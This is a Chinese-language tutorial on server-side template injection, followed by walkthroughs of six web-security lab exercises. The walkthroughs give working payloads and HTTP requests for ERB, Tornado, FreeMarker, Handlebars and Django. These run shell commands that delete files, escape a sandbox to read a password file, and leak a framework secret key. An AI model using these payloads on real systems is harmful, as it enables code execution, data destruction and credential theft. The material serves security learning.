一、基础知识
1. 定义
服务器端模板注入是指攻击者能够使用模板语法将恶意有效负载注入模板,然后在服务器端执行该模板。注入任意模板指令以操纵模板引擎,使他们能够完全控制服务器。
模板引擎旨在通过将固定模板与易变数据相结合来生成网页。当用户输入的内容直接连接到模板中,而不是作为数据传递时,可能会发生服务器端模板注入攻击。
2. 产生的原因
当用户输入连接到模板中而不是作为数据传递时,就会出现服务器端模板注入漏洞
传统静态模板:(不会产生此漏洞)
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
动态模板直接拼接:(漏洞产生)
$output = $twig->render("Dear " . $_GET['name']);
http://vulnerable-website.com/?name={ {bad-stuff-here}}
3. 如何构建攻击
- 探测
首先要寻找漏洞,最简单的方法是尝试注入一系列特殊字符(如
${<%[%‘“}}%\
)来探查模板响应。然后再识别上下文环境。
模板拼接两种范式
(1)明文上下文:render('Hello ' + username)
http://vulnerable-website.com/?username=${7*7}
显示49则证明漏洞存在
greeting = getQueryParameter('greeting')
engine.render("Hello {
{"+greeting+"}}", data)
http://vulnerable-website.com/?greeting=data.username
- 尝试使用通用模板语法中断该语句,并尝试在其后面注入任意的HTML。
http://vulnerable-website.com/?greeting=data.username
http://vulnerable-website.com/?greeting=data.username}}
- 出现错误或空白输出,证明错误模板语言的语法,或者,服务器端模板注入是不可能的。
- 如果与任意的HTML一起被正确呈现,则存在服务器端模板注入漏洞
Hello Carlos
- 识别
一旦探测到存在模板注入漏洞,下一步就是识别模板引擎。
需掌握不同模板语言的语法,进行简单测试,用于判断出目标模板。
二、漏洞利用
1. 阅读不同模板引擎文档
(1)学习基本模板语法
ERB – Ruby Templating官方文档
Tornado-python web framework官方文档
FreeMaker-java模板引擎文档
Handlebars模板文档
Django 文档
例题1、2、3
(2)搜寻已公开漏洞
Handlebars库 模板注入导致RCE 0day@Zombiehelp54
(https://xz.aliyun.com/t/4695)
例题4
2. 探索模板漏洞
如果上述方法无效,则需要自己探寻新的漏洞
在模板引擎中找到相关函数,生成作用域中的对象列表。例如Java-based模板
${T(java.lang.System).getenv()}
例题5
3. 定制攻击
需要大量积累和对文档的熟悉,在此不再赘述
例题 6、7
三、漏洞实例
1. 基础的服务器端模板注入(Basic server-side template injection)
- 目标
删除 /home/carlos/morale.txt
- 解题思路
- 点击第一个商品,首页会显示"Unfortunately this product is out of stock ",查看数据包
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/1.1
Host: ac631f7d1f5184c2c0204076003d0000.web-security-academy.net
Cookie: session=l97tVkrQiUoxb53tUcGGh9InYE0JyZbM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
.....
关注参数message,怀疑使用模板对文字信息的渲染
- 使用ERB模板语法测试
<%= 7*7 %>
GET /?message=%3c%25%3d%207*7%20%25%3e HTTP/1.1
Host: ac631f7d1f5184c2c0204076003d0000.web-security-academy.net
Cookie: session=l97tVkrQiUoxb53tUcGGh9InYE0JyZbM
回显49,证明漏洞成立,模板引擎为ERB
- 构造有效荷载
<%= system("rm /home/carlos/morale.txt") %>
GET /?message=%3c%25%3d%20system(%22rm%20%2fhome%2fcarlos%2fmorale.txt%22)%20%25%3e HTTP/1.1
Host: ac631f7d1f5184c2c0204076003d0000.web-security-academy.net
......
2. 基础的服务器端模板注入(代码上下文)(Basic server-side template injection (code context)
- 目标
删除 /home/carlos/morale.txt
- 解题思路
- 查看用户信息页,发现Preferred name功能点,对应数据包
POST /my-account/change-blog-post-author-display HTTP/1.1
Host: acf31f101f3fa5adc0255732006d0022.web-security-academy.net
Cookie: session=43YcHnQCwzKXx27zitWnIaI4vy68INNb
......
blog-post-author-display=user.nickname&csrf=sGxzM7OPLlFJ6ESPBAWfo214AKJpYIt7
- 怀疑此处是模板显示评论人名称,在文章中先留言,测试用。
- 题目中告知模板为Tornado 。
{ { 7*7 }}
{% python code %}
- 插入数据包探测和识别,成功
POST /my-account/change-blog-post-author-display HTTP/1.1
Host: acf31f101f3fa5adc0255732006d0022.web-security-academy.net
Cookie: session=43YcHnQCwzKXx27zitWnIaI4vy68INNb
......
blog-post-author-display=user.nickname}}{
{7*7}}&csrf=sGxzM7OPLlFJ6ESPBAWfo214AKJpYIt7
- 生成有效荷载
}}{% import os %}{ { os.system("rm /home/carlos/morale.txt") }}
POST /my-account/change-blog-post-author-display HTTP/1.1
Host: acf31f101f3fa5adc0255732006d0022.web-security-academy.net
Cookie: session=43YcHnQCwzKXx27zitWnIaI4vy68INNb
......
blog-post-author-display=user.name&csrf=sGxzM7OPLlFJ6ESPBAWfo214AKJpYIt7%7d%7d%7b%25%20import%20os%20%25%7d%7b%7b%20os.system(%22rm%20%2fhome%2fcarlos%2fmorale.txt%22)%20%7d%7d
3. 使用文档找到服务器端模板注入点(Server-side template injection using documentation)
- 目标
删除 /home/carlos/morale.txt
- 解题思路
- 登录后,在文章编辑处,仿照文章注入不存在变量
${foobar}
,查看报错。得到模板引擎信息 foobar [in template “freemarker
” - 在官方文档中发现问题
- 登录后,在文章编辑处,仿照文章注入不存在变量
FAQs section with the question “Can I allow users to upload templates and what are the security implications?”. The answer describes how the new() built-in can be dangerous.
- 根据手册说明,逐步生成有效荷载
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
4. 搜索公开漏洞(Server-side template injection in an unknown language with a documented exploit)
- 目标
删除 /home/carlos/morale.txt
- 解题思路
- 浏览第一个商品,页面显示"Unfortunately this product is out of stock"
- 在url参数message,注入${ {<%[%'"}}%\,查看响应。确认模板为handlebars
GET /?message=${
{<%[%'"}}%\ HTTP/1.1
Host: acfa1f3f1ea443d6c0740c470079003d.web-security-academy.net
......
<p class=is warning>/usr/local/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267 throw new Error(str);
- 查看文章后,有效荷载为
wrtz{
{#with "s" as |string|}}
{
{#with "e"}}
{
{#with split as |conslist|}}
{
{this.pop}}
{
{this.push (lookup string.sub "constructor")}}
{
{this.pop}}
{
{#with string.split as |codelist|}}
{
{this.pop}}
{
{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{
{this.pop}}
{
{#each conslist}}
{
{#with (string.sub.apply 0 codelist)}}
{
{this}}
{
{/with}}
{
{/each}}
{
{/with}}
{
{/with}}
{
{/with}}
{
{/with}}
- URL编码荷载,url为
https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
5. 通过用户提供的对象发现信息泄露的服务器端模板注入(Server-side template injection with information disclosure via user-supplied objects)
- 目标
提交框架secret key
- 解题思路
- 登录后,在文章编辑页输入特殊字符
{ {\$%&^*/}}
,查看报错中是否有信息可用。发现模板为django
- 根据文档选用
{% debug %}
,查看配置信息 - 文档中介绍secrect_key属性在
settings.SECRET_KEY
中 { {settings.SECRET_KEY}}
- 登录后,在文章编辑页输入特殊字符
6. 沙箱环境中的服务器端模板注入(Server-side template injection in a sandboxed environment)
- 目标
读取 /home/carlos/my_password.txt,提交敏感信息
- 解题思路
- 阅读文档,构造攻击链
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
- 将获得的ASCII数据转换成string
98 108 100 57 121 107 49 51 48 100 120 103 119 108 103 52 121 51 55 121
bld9yk130dxgwlg4y37y
7. 带有特殊利用漏洞的服务器端模板注入(Server-side template injection with a custom exploit)
暂略